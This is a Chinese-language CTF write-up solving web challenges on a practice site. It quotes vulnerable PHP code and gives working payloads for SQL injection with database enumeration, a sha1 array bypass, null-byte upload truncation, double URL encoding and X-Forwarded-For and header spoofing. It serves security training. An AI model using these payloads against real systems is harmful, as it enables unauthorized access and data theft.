审计得flag思路:GET的参数password必须等于SESSION[‘password’],我们知道session是存储在服务器上,但是在本地存在一个cookie字段:session_id
我们可以将cookie字段的session_id删除,然后get的参数password为空,即可让二者相等
FALSE 网址:http://ctf5.shiyanbar.com/web/false.php
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET['name' ]) and isset ($_GET['password' ])) { if ($_GET['name' ] == $_GET['password' ]) echo '<p>Your password can not be your name!</p>' ; else if (sha1($_GET['name' ]) === sha1($_GET['password' ])) die ('Flag: ' .$flag); else echo '<p>Invalid password.</p>' ; } else { echo '<p>Login first!</p>' ; ?>
得到flag思路:GET的参数name和password不相等但是sha1加密后相等
查询得知sha1函数只能处理字符串类型,处理数组则返回FALSE,那么可以构造payload:
name[]=a&password[]=b
a和b只要不相等就能得到flag
上传绕过 网址:http://ctf5.shiyanbar.com/web/upload/
bp截取包修改文件类型无效,修改为png文件提示必须上传php文件
尝试0x00截断
在上传路径/uploads/下添加demo.php+
并将+在十六进制中的2b替换成00
获取flag
NSCTF web200 网址:http://ctf5.shiyanbar.com/web/web200.jpg
给出加密函数,要求我们编写解密函数
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function decode($key){ $_ = base64_decode(strrev(str_rot13($key))); $_o = ''; for($_0=0;$_0<strlen($_);$_0++){ $c = substr($_,$_0,1); $__ = chr(ord($c)-1); $_o = $_o.$__; } $str = strrev($_o); return $str; } $key = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws'; echo decode($key); ?>
运行结果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
程序逻辑问题 网址:http://ctf5.shiyanbar.com/web/5/index.php
源代码提示文件index.txt,访问得源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if($_POST['user'] && $_POST['pass']) { $conn = mysql_connect("********", "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error){ die("Connection failed: " . mysql_error($conn)); } $user = $_POST['user']; $pass = md5($_POST['pass']); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
对参数$user不存在过滤,可以进行sql注入,进而控制查询结果的pw列的数据
因为$pass是我们POST的参数pass经过md5加密后得到的值
所以构造payload:
1 user=' union select md5('1')#&pass=1
得到flag:SimCTF{youhaocongming}
what a fuck!这是什么鬼东西? 网址:http://ctf5.shiyanbar.com/DUTCTF/1.html
页面显示一段jsfuck代码
直接放到浏览器控制台运行
弹出密码:Ihatejs
尝试即为flag
PHP大法 网址:http://ctf5.shiyanbar.com/DUTCTF/index.php
源代码给出提示文件index.php.txt
访问得源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (eregi("hackerDJ" ,$_GET[id])) { echo ("<p>not allowed!</p>" ); exit (); } $_GET[id] = urldecode($_GET[id]); if ($_GET[id] == "hackerDJ" ){ echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; } ?>
考察url二次编码,将hackerDJ进行二次url编码后作为参数id值,浏览器首先会对id值进行一次url解码,之后绕过eregi检测后再对一次解码后的值进行二次解码,解码后得hackerDJ
payload:
1 ?id=%2568%2561%2563%256b%2565%2572%2544%254a
这个看起来有点简单! 网址:http://ctf5.shiyanbar.com/8/index.php
输入1’,1”都报错,输入1%23返回正确信息
说明id未被引号包裹
进行sql注入:
注数据库payload:
1 ?id=0%20union%20select%201,database()%23
数据库名:my_db
注数据表payload:
1 ?id=0%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
数据表名:news,thiskey
注数据列payload:
1 ?id=0%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27thiskey%27%23
列名:k0y
注数据payload:
1 ?id=0%20union%20select%201,k0y%20from%20thiskey%23
flag: whatiMyD91dump
貌似有点难 网址:http://ctf5.shiyanbar.com/phpaudit/
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function GetIP () {if (!empty ($_SERVER["HTTP_CLIENT_IP" ])) $cip = $_SERVER["HTTP_CLIENT_IP" ]; else if (!empty ($_SERVER["HTTP_X_FORWARDED_FOR" ])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR" ]; else if (!empty ($_SERVER["REMOTE_ADDR" ])) $cip = $_SERVER["REMOTE_ADDR" ]; else $cip = "0.0.0.0" ; return $cip;} $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1" ){echo "Great! Key is *********" ;} else {echo "错误!你的IP不在访问列表之内!" ;} ?>
burp抓包添加X-Forwarded-For:1.1.1.1即可获得flag:SimCTF{daima_shengji}
头有点大 网址:http://ctf5.shiyanbar.com/sHeader/
页面给了提示http header
Please make sure you have installed .net framework 9.9!
Make sure you are in the region of England and browsing this site with Internet Explorer
思路就是修改http请求头部的User-Agent字段和Accept-Language字段
第一个是安装.net9.9框架 第二个是保证在英国地区 第三个是用ie浏览器
第一个和第三个我们可以在User-Agent后加上(MSIE 9.0;.NET CLR 9.9)来实现
最后一个在英国我们把语言改成en-gb即可
猫抓老鼠 网址:http://ctf5.shiyanbar.com/basic/catch/
提示catch,bp抓包发现响应头部字段Content-Row: MTUzNzAzMDU2OA==
经过base64解密后1537030568
作为pass_key提交无果,直接提交pass_key=MTUzNzAzMDU2OA==得到flag
KEY: #WWWnsf0cus_NET#
看起来有点难 网址:http://ctf5.shiyanbar.com/basic/inject/index.php
注入点在admin,使用基于时间的盲注,脚本略